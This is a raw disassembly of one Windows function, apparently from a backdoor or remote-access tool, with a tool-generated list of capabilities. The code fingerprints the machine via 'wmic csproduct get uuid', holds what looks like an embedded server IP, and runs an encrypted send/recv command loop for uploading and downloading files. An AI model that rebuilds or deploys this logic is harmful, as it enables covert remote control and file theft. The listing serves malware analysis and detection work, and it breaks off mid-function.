Function at 0x412a50
Capabilities:
Download and write a file
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415056
mov eax, dword fs:[0]
push eax
mov eax, 0xf12c
call fcn.00411890
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov eax, dword [0x41d8c0]
lea edx, [ebp - 0x38]
mov dword [ebp - 0xf130], eax
lea ecx, [ebp - 0xf094]
mov eax, dword [0x41d8c4]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0xf12c], eax
movaps xmm0, xmmword [str.wmic_csproduct_g]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x75207465
mov dword [ebp - 0x24], 0x646975
call fcn.004144d0
mov dword [ebp - 4], 0
lea edx, [ebp - 0xf094]
cmp dword [ebp - 0xf080], 0x10
mov esi, dword [ebp - 0xf084]
cmovae edx, dword [ebp - 0xf094]
xor ecx, ecx
test esi, esi
je 0x412b03
movsx eax, byte [edx]
lea edx, [edx + 1]
imul ecx, ecx, 0x1003f
add ecx, eax
sub esi, 1
jne 0x412af0
mov dword [ebp - 0xf138], ecx
mov dword [ebp - 0xf134], 0
mov esi, dword [sym.imp.WS2_32.dll_send]
nop dword [eax]
mov dword [ebp - 0xf06c], 0
mov dword [ebp - 0xf068], 0xf
mov byte [ebp - 0xf07c], 0
mov dword [ebp - 0xf060], 0xffffffff
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf07c]
movzx eax, word [0x41d978]
push eax
push 0x41d8d8
call fcn.00414e40
test al, al
jne 0x412b9d
mov edi, 0x41d8d8
mov esi, 0x41d978
nop
cmp esi, 0x41d980
jge 0x4142ad
movzx eax, word [esi + 2]
lea ecx, [ebp - 0xf07c]
add esi, 2
add edi, 0x20
push eax
push edi
call fcn.00414e40
test al, al
je 0x412b70
mov esi, dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x412bd7
push 0
push 8
lea ecx, [ebp - 0xf130]
push ecx
push eax
call esi
cmp eax, 0xffffffff
jne 0x412c1e
mov eax, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x412bd7
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0xf060], 0xffffffff
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xf068]
cmp edx, 0x10
jb 0x412b20
mov ecx, dword [ebp - 0xf07c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412c0f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4143a6
push edx
push ecx
call fcn.0040152c
add esp, 8
jmp 0x412b20
push 0x20
call fcn.0040153a
push 1
lea eax, [ebp - 0xf0e0]
mov edx, 8
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0xf138]
call fcn.00414b00
mov ecx, dword [ebp - 0xf060]
add esp, 0x10
mov edx, eax
mov dword [ebp - 0xf0b4], edx
cmp ecx, 0xffffffff
je 0x412c9c
mov eax, dword [ebp - 0xf0e0]
cmp eax, 0x400
ja 0x412ce3
push 0
push eax
push edx
push ecx
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x412d46
mov ecx, dword [ebp - 0xf060]
cmp ecx, eax
je 0x412c96
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0xf060], esi
cmp esi, esi
jne 0x412d46
mov esi, dword [sym.imp.WS2_32.dll_send]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xf068]
cmp edx, 0x10
jb 0x412b20
mov ecx, dword [ebp - 0xf07c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412cd4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4143a6
push edx
push ecx
call fcn.0040152c
add esp, 8
jmp 0x412b20
xor edi, edi
test eax, eax
je 0x412c9c
mov ecx, 0x400
sub ecx, edx
mov dword [ebp - 0xf0a0], ecx
lea esi, [edi + edx]
mov edx, eax
add ecx, esi
sub edx, edi
cmp ecx, dword [ebp - 0xf0e0]
mov eax, 0x400
push 0
cmova eax, edx
push eax
push esi
push dword [ebp - 0xf060]
mov esi, dword [sym.imp.WS2_32.dll_send]
call esi
cmp eax, 0xffffffff
je 0x414381
mov eax, dword [ebp - 0xf0e0]
add edi, 0x400
cmp edi, eax
jae 0x412d46
mov ecx, dword [ebp - 0xf0a0]
mov edx, dword [ebp - 0xf0b4]
jmp 0x412cf6
cmp dword [ebp - 0xf060], 0xffffffff
je 0x412dad
xor esi, esi
xor edi, edi
push 0
mov eax, 2
sub eax, esi
push eax
lea eax, [ebp - 0xf0d4]
add eax, esi
push eax
push dword [ebp - 0xf060]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x412e25
inc edi
add esi, eax
cmp edi, 0x28
je 0x412d90
cmp esi, 2
jl 0x412d53
mov ecx, dword [ebp - 0xf060]
jmp 0x412da4
mov ecx, dword [ebp - 0xf060]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x414127
cmp esi, 2
jne 0x4142b3
movzx eax, word [ebp - 0xf0d4]
push eax
call fcn.0040153a
mov ecx, dword [ebp - 0xf060]
mov edx, eax
movzx eax, word [ebp - 0xf0d4]
add esp, 4
mov dword [ebp - 0xf0b0], edx
mov dword [ebp - 0xf0bc], eax
cmp ecx, 0xffffffff
je 0x412e8d
xor esi, esi
xor edi, edi
test eax, eax
je 0x412e64
nop dword [eax]
push 0
sub eax, esi
push eax
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x412e4b
inc edi
add esi, eax
cmp edi, 0x28
je 0x412e60
mov eax, dword [ebp - 0xf0bc]
cmp esi, eax
jge 0x412e60
mov edx, dword [ebp - 0xf0b0]
jmp 0x412df0
mov ecx, dword [ebp - 0xf060]
cmp ecx, 0xffffffff
je 0x412d96
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
push ecx
call edi
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
jmp 0x412d9c
cmp ecx, 0xffffffff
je 0x412e60
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
test esi, esi
jne 0x412e79
cmp ecx, 0xffffffff
je 0x412e79
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp esi, dword [ebp - 0xf0bc]
jne 0x4142b3
test esi, esi
je 0x4142b3
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov esi, dword [ebp - 0xf0b0]
lea eax, [ebp - 0xf120]
movzx edx, word [ebp - 0xf0d4]
mov ecx, esi
push 0
push eax
lea eax, [ebp - 0x20]
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
push esi
mov dword [ebp - 0xf0a0], eax
call fcn.004012fc
mov edi, dword [ebp - 0xf120]
add esp, 0x10
test edi, edi
js 0x4142ad
je 0x4142ad
lea esi, [edi + 1]
push esi
call fcn.0040153a
push esi
push 0
push eax
mov dword [ebp - 0xf0cc], eax
call fcn.004028f0
mov esi, dword [ebp - 0xf0a0]
push edi
mov edi, dword [ebp - 0xf0cc]
push esi
push edi
call fcn.00404440
push esi
call fcn.004012fc
mov al, byte [edi]
add esp, 0x20
cmp al, 1
jne 0x413137
movzx eax, word [edi + 1]
cwde
lea esi, [eax + 1]
push esi
call fcn.0040153a
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 0xf0b4], edi
call fcn.004028f0
mov ecx, dword [ebp - 0xf0cc]
push esi
add ecx, 3
push ecx
push edi
call fcn.00404440
push 0xf001
lea eax, [ebp - 0xf04c]
push 0
push eax
call fcn.004028f0
add esp, 0x28
lea edx, [ebp - 0xf04c]
mov ecx, edi
call fcn.00414590
lea edi, [ebp - 0xf04c]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x412f77
sub edi, ecx
lea esi, [edi + 1]
push esi
call fcn.0040153a
push edi
lea ecx, [ebp - 0xf04c]
mov dword [ebp - 0xf0b0], eax
push ecx
lea ecx, [eax + 1]
mov byte [eax], 1
push ecx
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov ecx, dword [ebp - 0xf0b0]
lea eax, [ebp - 0xf11c]
push 1
push eax
lea eax, [ebp - 0x20]
mov edx, esi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf11c]
add esp, 0x1c
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf118], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0bc], esi
cmp ecx, 0xffffffff
jne 0x412ff6
xor dl, dl
xor al, al
jmp 0x413098
push 0
push 2
lea eax, [ebp - 0xf118]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], eax
cmp eax, 0xffffffff
jne 0x413036
cmp ecx, eax
je 0x413033
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0a0]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413048
xor al, al
jmp 0x413098
or eax, 0xffffffff
cmp edi, 0x400
ja 0x4130cd
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf0a4], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x413086
cmp ecx, 0xffffffff
je 0x413086
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf0a4]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0b4]
call fcn.004012fc
push dword [ebp - 0xf0b0]
call fcn.004012fc
mov edi, dword [ebp - 0xf0cc]
add esp, 8
push edi
call fcn.004012fc
add esp, 4
jmp 0x412d46
xor esi, esi
test edi, edi
je 0x413092
mov edx, dword [ebp - 0xf0bc]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0a0], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x4130f4
mov eax, edi
sub eax, esi
jmp 0x4130f9
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf0a4], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x413071
add esi, 0x400
cmp esi, edi
jae 0x413086
mov eax, dword [ebp - 0xf0a0]
mov edx, dword [ebp - 0xf0bc]
jmp 0x4130e6
cmp al, 2
jne 0x413861
movzx eax, word [edi + 1]
movzx edi, word [edi + 3]
movzx esi, ax
mov dword [ebp - 0xf0bc], eax
mov dword [ebp - 0xf0b0], edi
mov dword [ebp - 0xf0a4], esi
lea eax, [esi + 1]
push eax
call fcn.0040153a
movzx edi, di
mov dword [ebp - 0xf0c4], eax
mov dword [ebp - 0xf0c8], edi
lea ecx, [edi + 1]
push ecx
call fcn.0040153a
mov ecx, dword [ebp - 0xf0cc]
push esi
add ecx, 5
mov dword [ebp - 0xf0a8], eax
push ecx
push dword [ebp - 0xf0c4]
call fcn.00404440
mov ecx, dword [ebp - 0xf0cc]
mov eax, dword [ebp - 0xf0c4]
add ecx, 5
push edi
add ecx, esi
push ecx
push dword [ebp - 0xf0a8]
mov byte [esi + eax], 0
call fcn.00404440
mov eax, dword [ebp - 0xf0a8]
push 0
push eax
mov byte [edi + eax], 0
call fcn.0040741e
add esp, 0x28
test eax, eax
jne 0x4131e3
mov dword [ebp - 0xf0b8], 0x11
jmp 0x413651
push 0x41af5c
push dword [ebp - 0xf0a8]
lea eax, [ebp - 0xf0c0]
mov dword [ebp - 0xf0c0], 0
push eax
call fcn.004058d8
add esp, 0xc
mov dword [ebp - 0xf0b8], eax
test eax, eax
jne 0x414141
add edi, 5
add esi, edi
push esi
call fcn.0040153a
push dword [ebp - 0xf0a4]
mov edi, eax
mov eax, dword [ebp - 0xf0bc]
push dword [ebp - 0xf0c4]
mov dword [ebp - 0xf0ac], edi
lea ecx, [edi + 5]
mov word [edi + 1], ax
mov eax, dword [ebp - 0xf0b0]
push ecx
mov byte [edi], 2
mov word [edi + 3], ax
call fcn.00404440
push dword [ebp - 0xf0c8]
mov eax, dword [ebp - 0xf0a4]
push dword [ebp - 0xf0a8]
add eax, 5
add eax, edi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
push 1
lea eax, [ebp - 0xf108]
mov edx, esi
push eax
lea eax, [ebp - 0x20]
mov ecx, edi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf108]
add esp, 0x28
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf114], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0b4], esi
cmp ecx, 0xffffffff
jne 0x4132c0
xor dl, dl
xor al, al
jmp 0x413366
push 0
push 2
lea eax, [ebp - 0xf114]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], eax
cmp eax, 0xffffffff
jne 0x413300
cmp ecx, eax
je 0x4132fd
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0a0]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413312
xor al, al
jmp 0x413366
or eax, 0xffffffff
cmp edi, 0x400
ja 0x4133e3
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x413354
cmp ecx, 0xffffffff
je 0x413354
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf09c]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0ac]
call fcn.004012fc
add esp, 4
xor eax, eax
mov dword [ebp - 0xf09c], eax
nop dword [eax]
nop dword [eax + eax]
mov ecx, dword [ebp - 0xf060]
cmp ecx, 0xffffffff
je 0x41346e
xor esi, esi
xor edi, edi
push 0
mov eax, 2
sub eax, esi
push eax
lea eax, [ebp - 0xf0d8]
add eax, esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4134e5
inc edi
add esi, eax
cmp edi, 0x28
je 0x413451
cmp esi, 2
jge 0x413468
mov ecx, dword [ebp - 0xf060]
jmp 0x4133a3
xor esi, esi
test edi, edi
je 0x413360
mov edx, dword [ebp - 0xf0b4]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0a0], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x41340e
mov eax, edi
sub eax, esi
jmp 0x413413
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x41333f
add esi, 0x400
cmp esi, edi
jae 0x413354
mov eax, dword [ebp - 0xf0a0]
mov edx, dword [ebp - 0xf0b4]
jmp 0x413400
mov eax, dword [ebp - 0xf060]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x4135f8
cmp esi, 2
jne 0x413632
movzx eax, word [ebp - 0xf0d8]
push eax
call fcn.0040153a
mov ecx, dword [ebp - 0xf060]
mov edx, eax
movzx eax, word [ebp - 0xf0d8]
add esp, 4
mov dword [ebp - 0xf0a0], edx
mov dword [ebp - 0xf0b4], eax
cmp ecx, 0xffffffff
je 0x41354e
xor esi, esi
xor edi, edi
test eax, eax
je 0x413524
nop word [eax + eax]
push 0
sub eax, esi
push eax
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x41350b
inc edi
add esi, eax
cmp edi, 0x28
je 0x413520
mov eax, dword [ebp - 0xf0b4]
cmp esi, eax
jge 0x413520
mov edx, dword [ebp - 0xf0a0]
jmp 0x4134b0
mov eax, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x413457
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
push eax
call edi
or eax, 0xffffffff
mov dword [ebp - 0xf060], eax
jmp 0x41345d
cmp ecx, 0xffffffff
je 0x413520
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
test esi, esi
jne 0x41353a
cmp ecx, 0xffffffff
je 0x41353a
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0xf060], 0xffffffff
cmp esi, dword [ebp - 0xf0b4]
jne 0x413632
test esi, esi
je 0x413632
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov esi, dword [ebp - 0xf0a0]
lea eax, [ebp - 0xf0e4]
movzx edx, word [ebp - 0xf0d8]
mov ecx, esi
push 0
push eax
lea eax, [ebp - 0x20]
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, eax
push esi
mov dword [ebp - 0xf0a0], edi
call fcn.004012fc
mov esi, dword [ebp - 0xf0e4]
add esp, 0x10
test esi, esi
js 0x413632
je 0x413632
cmp byte [edi], 3
lea ecx, [edi + 1]
mov dword [ebp - 0xf0ac], ecx
jne 0x41360c
push esi
call fcn.0040153a
dec esi
mov edi, eax
push esi
push dword [ebp - 0xf0ac]
push edi
call fcn.00404440
push dword [ebp - 0xf0c0]
push esi
push 1
push edi
call fcn.004057be
mov eax, dword [ebp - 0xf0e4]
dec eax
add dword [ebp - 0xf09c], eax
push edi
call fcn.004012fc
push dword [ebp - 0xf0a0]
call fcn.004012fc
add esp, 0x28
jmp 0x413390
cmp eax, 0xffffffff
je 0x413632
push eax
call edi
mov dword [ebp - 0xf060], 0xffffffff
jmp 0x413632
mov eax, dword [ebp - 0xf09c]
mov esi, 0xffffffff
mov edx, dword [ebp - 0xf0b8]
test eax, eax
cmove edx, esi
mov dword [ebp - 0xf0b8], edx
cmp dword [ecx], eax
je 0x413632
mov dword [ebp - 0xf0b8], esi
mov eax, dword [ebp - 0xf0c0]
test eax, eax
je 0x413645
push eax
call fcn.00405177
add esp, 4
mov edi, dword [ebp - 0xf0c8]
mov esi, dword [ebp - 0xf0a4]
add edi, 9
add esi, edi
push esi
call fcn.0040153a
push dword [ebp - 0xf0a4]
mov edi, eax
mov eax, dword [ebp - 0xf0b8]
push dword [ebp - 0xf0c4]
mov dword [ebp - 0xf0b4], edi
mov dword [edi + 1], eax
lea ecx, [edi + 9]
mov eax, dword [ebp - 0xf0bc]
mov word [edi + 5], ax
mov eax, dword [ebp - 0xf0b0]
push ecx
mov byte [edi], 4
mov word [edi + 7], ax
call fcn.00404440
push dword [ebp - 0xf0c8]
mov eax, dword [ebp - 0xf0a4]
push dword [ebp - 0xf0a8]
add eax, 9
add eax, edi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
push 1
lea eax, [ebp - 0xf100]
mov edx, esi
push eax
lea eax, [ebp - 0x20]
mov ecx, edi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf100]
add esp, 0x28
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf124], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], esi
cmp ecx, 0xffffffff
jne 0x413705
xor dl, dl
xor al, al
jmp 0x4137ab
push 0
push 2
lea eax, [ebp - 0xf124]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0ac], eax
cmp eax, 0xffffffff
jne 0x413745
cmp ecx, eax
je 0x413742
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0ac]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413757
xor al, al
jmp 0x4137ab
or eax, 0xffffffff
cmp edi, 0x400
ja 0x4137f6
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x413799
cmp ecx, 0xffffffff
je 0x413799
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf09c]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0b4]
call fcn.004012fc
push dword [ebp - 0xf0c4]
call fcn.004012fc
push dword [ebp - 0xf0a8]
call fcn.004012fc
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0xf0cc]
push edi
call fcn.004012fc
add esp, 4
jmp 0x412d46
xor esi, esi
test edi, edi
je 0x4137a5
mov edx, dword [ebp - 0xf0a0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0ac], eax
nop
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x41381e
mov eax, edi
sub eax, esi
jmp 0x413823
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x413784
add esi, 0x400
cmp esi, edi
jae 0x413799
mov eax, dword [ebp - 0xf0ac]
mov edx, dword [ebp - 0xf0a0]
jmp 0x413810
cmp al, 5
jne 0x414111
movzx eax, word [edi + 1]
movzx esi, word [edi + 3]
movzx edi, ax
mov dword [ebp - 0xf0bc], eax
mov dword [ebp - 0xf0a8], esi
lea eax, [edi + 1]
push eax
call fcn.0040153a
movzx esi, si
mov dword [ebp - 0xf0a4], eax
lea ecx, [esi + 1]
push ecx
call fcn.0040153a
mov ecx, dword [ebp - 0xf0cc]
push edi
add ecx, 5
mov dword [ebp - 0xf0b8], eax
push ecx
push dword [ebp - 0xf0a4]
call fcn.00404440
mov ecx, dword [ebp - 0xf0cc]
mov eax, dword [ebp - 0xf0a4]
add ecx, 5
push esi
add ecx, edi
push ecx
push dword [ebp - 0xf0b8]
mov byte [edi + eax], 0
call fcn.00404440
mov eax, dword [ebp - 0xf0b8]
push 0x41af60
push dword [ebp - 0xf0a4]
mov byte [esi + eax], 0
lea eax, [ebp - 0xf0dc]
push eax
call fcn.004058d8
add esi, 9
mov dword [ebp - 0xf0b4], eax
add esi, edi
add esp, 0x2c
mov dword [ebp - 0xf0c8], esi
test eax, eax
je 0x413add
push esi
call fcn.0040153a
mov esi, eax
mov eax, dword [ebp - 0xf0b4]
push edi
push dword [ebp - 0xf0a4]
mov dword [ebp - 0xf0b0], esi
mov dword [esi + 1], eax
lea ecx, [esi + 9]
mov eax, dword [ebp - 0xf0bc]
mov word [esi + 5], ax
mov eax, dword [ebp - 0xf0a8]
push ecx
mov byte [esi], 7
mov word [esi + 7], ax
call fcn.00404440
mov ecx, dword [ebp - 0xf0a8]
movzx eax, cx
push eax
push dword [ebp - 0xf0b8]
lea eax, [edi + 9]
add eax, esi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov edx, dword [ebp - 0xf0c8]
lea eax, [ebp - 0xf0e8]
push 1
push eax
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf0e8]
add esp, 0x28
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf0ec], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], esi
cmp ecx, 0xffffffff
jne 0x4139c2
xor dl, dl
xor al, al
jmp 0x413a64
push 0
push 2
lea eax, [ebp - 0xf0ec]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0ac], eax
cmp eax, 0xffffffff
jne 0x413a02
cmp ecx, eax
je 0x4139ff
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0ac]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413a14
xor al, al
jmp 0x413a64
or eax, 0xffffffff
cmp edi, 0x400
ja 0x413a77
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x413a52
cmp ecx, 0xffffffff
je 0x413a52
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf09c]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0b0]
jmp 0x41406b
xor esi, esi
test edi, edi
je 0x413a5e
mov edx, dword [ebp - 0xf0a0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0ac], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x413a9e
mov eax, edi
sub eax, esi
jmp 0x413aa3
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x413a3d
add esi, 0x400
cmp esi, edi
jae 0x413a52
mov eax, dword [ebp - 0xf0ac]
mov edx, dword [ebp - 0xf0a0]
jmp 0x413a90
push 2
push 0
push dword [ebp - 0xf0dc]
call fcn.004054b7
push dword [ebp - 0xf0dc]
call fcn.00404fb5
push dword [ebp - 0xf0dc]
mov edi, eax
mov dword [ebp - 0xf0b0], edi
call fcn.004054d2
push esi
call fcn.0040153a
mov ecx, dword [ebp - 0xf0a8]
mov esi, eax
mov eax, dword [ebp - 0xf0bc]
mov dword [ebp - 0xf0a0], esi
mov dword [esi + 1], edi
movzx edi, ax
push edi
push dword [ebp - 0xf0a4]
mov word [esi + 7], cx
lea ecx, [esi + 9]
push ecx
mov byte [esi], 5
mov word [esi + 5], ax
call fcn.00404440
mov ecx, dword [ebp - 0xf0a8]
movzx eax, cx
push eax
push dword [ebp - 0xf0b8]
lea eax, [edi + 9]
add eax, esi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov edx, dword [ebp - 0xf0c8]
lea eax, [ebp - 0xf0f0]
push 1
push eax
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf0f0]
add esp, 0x3c
movzx ecx, di
mov dword [ebp - 0xf0f4], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0c0], eax
cmp ecx, 0xffffffff
jne 0x413bb1
xor dl, dl
xor al, al
jmp 0x413c51
push 0
push 2
lea eax, [ebp - 0xf0f4]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413be6
cmp ecx, eax
je 0x413be3
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, esi
mov dword [ebp - 0xf060], ecx
cmp esi, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413bf8
xor al, al
jmp 0x413c51
or eax, 0xffffffff
cmp edi, 0x400
ja 0x413d23
push 0
push edi
push dword [ebp - 0xf0c0]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x413c3f
cmp ecx, 0xffffffff
je 0x413c3f
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf09c]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0a0]
call fcn.004012fc
mov esi, dword [ebp - 0xf0b0]
xor edx, edx
add esp, 4
mov dword [ebp - 0xf09c], edx
test esi, esi
je 0x413edc
nop dword [eax]
